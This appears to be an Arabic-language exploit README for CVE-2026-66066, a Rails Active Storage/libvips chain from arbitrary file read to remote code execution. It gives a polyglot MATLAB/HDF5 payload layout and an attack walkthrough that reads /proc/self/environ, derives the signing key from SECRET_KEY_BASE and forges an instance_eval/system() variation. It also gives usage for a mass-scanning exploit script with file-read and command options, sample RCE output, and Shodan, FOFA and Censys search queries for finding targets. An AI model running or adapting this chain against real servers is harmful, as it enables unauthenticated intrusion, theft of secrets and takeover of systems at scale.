
CVE-2026-66066 — KindaRails2Shell: قراءة ملفات تعسفية في Rails Active Storage/libvips → تنفيذ أوامر عن بُعد (RCE). ملف ثنائي الهوية MATLAB/HDF5 → سرقة SECRET_KEY_BASE → تزوير التوقيع. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 عبارة عن سلسلة هجوم بخطورة حرجة (CVSS 9.5) تبدأ بقراءة ملف تعسفي قبل المصادقة وتنتهي بتنفيذ تعليمات برمجية عن بُعد في وحدة Active Storage في Ruby on Rails، وتؤثر على Rails 7.2.0–7.2.3.1 و8.0.0–8.0.5 و8.1.0–8.1.3 في إعدادها الافتراضي.
تستغل الثغرة التباس محلل عبر أربع طبقات يشمل Rails وlibvips وlibmatio وHDF5. يحتوي ملف مصنوع بعناية بترويسة MATLAB 5.0 (تفي بفحص libvips) وحاوية HDF5 v7.3 (يوجّهها libmatio) على مجموعة بيانات خارجية تشير إلى مسار ملف عشوائي على الخادم. عندما تعالج ActiveStorage هذا الملف كنمط صورة، تتحول بايتات الملف المستهدف إلى بكسلات صورة — ما يتيح قراءة ملف تعسفي دون مصادقة.
بمجرد استعادة SECRET_KEY_BASE من /proc/self/environ أو ملفات الاعتماد، يستنتج المهاجم مفتاح التحقق Active Storage ويزوّر JSON تباين موقّع يحتوي على instance_eval، محققًا تنفيذ تعليمات برمجية عن بُعد.
التطبيقات المتأثرة: أكثر من 500 ألف تطبيق Rails (الافتراضي في Rails 7+ هو
variant_processor = :vips) اكتشاف: فريق أبحاث Ethiack + RyotaK (GMO Flatt Security) + bl0rph، يوليو 2026 التصحيح: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 يوليو 2026)
| Branch | الإصدارات المتأثرة | الإصلاح |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x متأثر فقط إذا تم تمكين variant_processor = :vips يدويًا.
اكتشاف: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph إثبات مفهوم مرجعي: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
تربط سلسلة الهجوم خلافين مستقلين في نوع المحتوى عبر أربعة مكونات:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
| البايتات | الغرض | القيمة |
|---|---|---|
| 0–9 | كاشف libvips | MATLAB 5.0 |
| 10–123 | حشو | مسافات |
| 124–125 | موجّه libmatio | 0x0200 (HDF5 v7.3) |
| 126–127 | علامة ترتيب البايتات | 0x4d49 (IM) |
| 128–511 | كتلة مستخدم HDF5 | حشو |
| 512+ | Superblock الخاص بـ HDF5 | حاوية تحتوي على مجموعة بيانات خارجية |
"لا يُنتِج أي كاتب شرعي كلا القيمتين MATLAB 5.0 عند البايت 0 و0x0200 عند البايت 124."
Blob#variable? يثق في عمود قاعدة البيانات الذي يُملأ عند الرفع المباشر. لا يتم فحص أي بايتات.Vips::Image.new_from_file بالتكرار عبر اللوادر؛ فحص matload يتحقق من 10 بايتات فقط.0x0200 يختار الواجهة الخلفية HDF5 بغض النظر عن النص الوصفي.H5Pset_external تتيح أن تكون البايتات الخام لمجموعة البيانات في ملف خارجي عشوائي. يستدعي libmatio H5Dread دون التحقق من H5Pget_external_count.Transformers::Vips سلوك validate_transformation من الصنف الأساسي، الذي يمنع فقط combine_options. تمر أسماء الطرق العشوائية إلى Vips::Image.public_send.1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
| الملف | الغرض |
|---|---|
activestorage/app/models/active_storage/blob.rb | variable? يثق في عمود content_type |
activestorage/app/models/active_storage/blob/representable.rb | مسار التمثيل يحل blob والتباين بشكل مستقل |
activestorage/app/models/active_storage/variation.rb | decode يتحقق من مفتاح التباين؛ لا يوجد مرجع متبادل إلى blob |
image_processing/lib/image_processing/transformers/vips.rb | لا توجد قائمة طرق مسموح بها — يرث سلوك الصنف الأساسي |
libvips/foreign/matload.c | vips__mat_ismat يفحص أول 10 بايتات فقط |
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ
FOFA: body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"